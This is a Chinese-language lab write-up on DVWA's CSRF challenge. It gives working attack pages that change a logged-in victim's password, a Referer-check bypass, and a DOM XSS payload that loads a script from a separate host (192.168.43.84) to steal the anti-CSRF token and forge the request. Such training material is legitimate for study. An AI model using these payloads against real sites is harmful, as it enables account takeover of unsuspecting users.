# DVWA CSRF (教學用)
###### tags: `DVWA`
## low:
改密碼 get :
```htmlembedded
<form action="#" method="GET">
New password:<br />
<input type="password" autocomplete="off" name="password_new" /><br />
Confirm new password:<br />
<input type="password" autocomplete="off" name="password_conf" /><br />
<br />
<input type="submit" value="Change" name="Change" />
</form>
```
GET 方式的話,很簡單。
```
http://localhost/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#
```
### 製作一個網頁(給受害者)
```htmlembedded
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<a href="http://localhost/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#">go</a>
</body>
</html>
```
已登入狀態下點擊這 link 就會修改密碼。
### code:
```php!
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
```
沒有任何判斷是否來自同一個頁面。
## medium
```htmlembedded
<form action="#" method="GET">
New password:<br />
<input type="password" autocomplete="off" name="password_new" /><br />
Confirm new password:<br />
<input type="password" autocomplete="off" name="password_conf" /><br />
<br />
<input type="submit" value="Change" name="Change" />
</form>
```
上方的方式沒用了,他顯示:
That request didn't look correct.
肯定是加了某些判別是否來自同個域名的條件。
code 關鍵點:
```
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
```
查看(跳轉來源)是否跟(伺服器) 為同域,
### 在別的網域上架設一個名為localhost.html 的網域
http://192.168.43.84/localhost.html
* a tag 加上 referrerpolicy : unsafe-url
https://www.ruanyifeng.com/blog/2019/06/http-referer.html
```htmlembedded
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<a href="http://localhost/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#" referrerpolicy='unsafe-url' >go</a>
</body>
</html>
```
點擊就可成功。
## high:
bp 抓包 發現加上了 user_token
```http
GET /vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change&user_token=4e67863af0630abb4ecdb345172ddca9 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/vulnerabilities/csrf/
Cookie: PHPSESSID=5b3b866450ea4fb9b8cfa16f610a6065; security=high
Upgrade-Insecure-Requests: 1
```
### hacker 預先是不可能知道 token 的,所以無法偽造。
但如果,你網站有xss 的話,token 就失效了。
xss 的頁面抓取 token -> 惡意csrf + token 請求
### xss dom (high)
```link
http://localhost/vulnerabilities/xss_d/?default=English#<script src="http://192.168.43.84/hack.js"></script>
```
### http://192.168.43.84/hack.js
雖然也可以一次寫,不需要放個外部JS,不過這樣比較美觀
```javascript
async function getToken(url) {
let data = await fetch(url);
// data 轉為 text
data = await data.text();
//創造dom 物件
const parser = new DOMParser();
//把resoonse資料轉成dom
const htmlDoc = parser.parseFromString(data, "text/html");
//querySelector 抓取 token
let token = htmlDoc.querySelector("input[name=user_token]").value;
//回傳token
return token;
}
async function csrf_send() {
//拿token
let url = "http://localhost/vulnerabilities/csrf/";
let token = await getToken(url);
//csrf
csrf_url_Request = "http://localhost/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change&user_token="
//加上token
csrf_url_Request += token;
//console.log(csrf_request) ;
//fetch 發出請求
fetch(csrf_url_Request);
}
csrf_send();
```
## impossible
多加上了一個 輸入舊密碼,要正確才能夠完成更改密碼。
礙於dvwa session impossible 的問題,不然應該還是可以加上暴力破解,來猜測成功。
(high 才有xss impossible 沒有)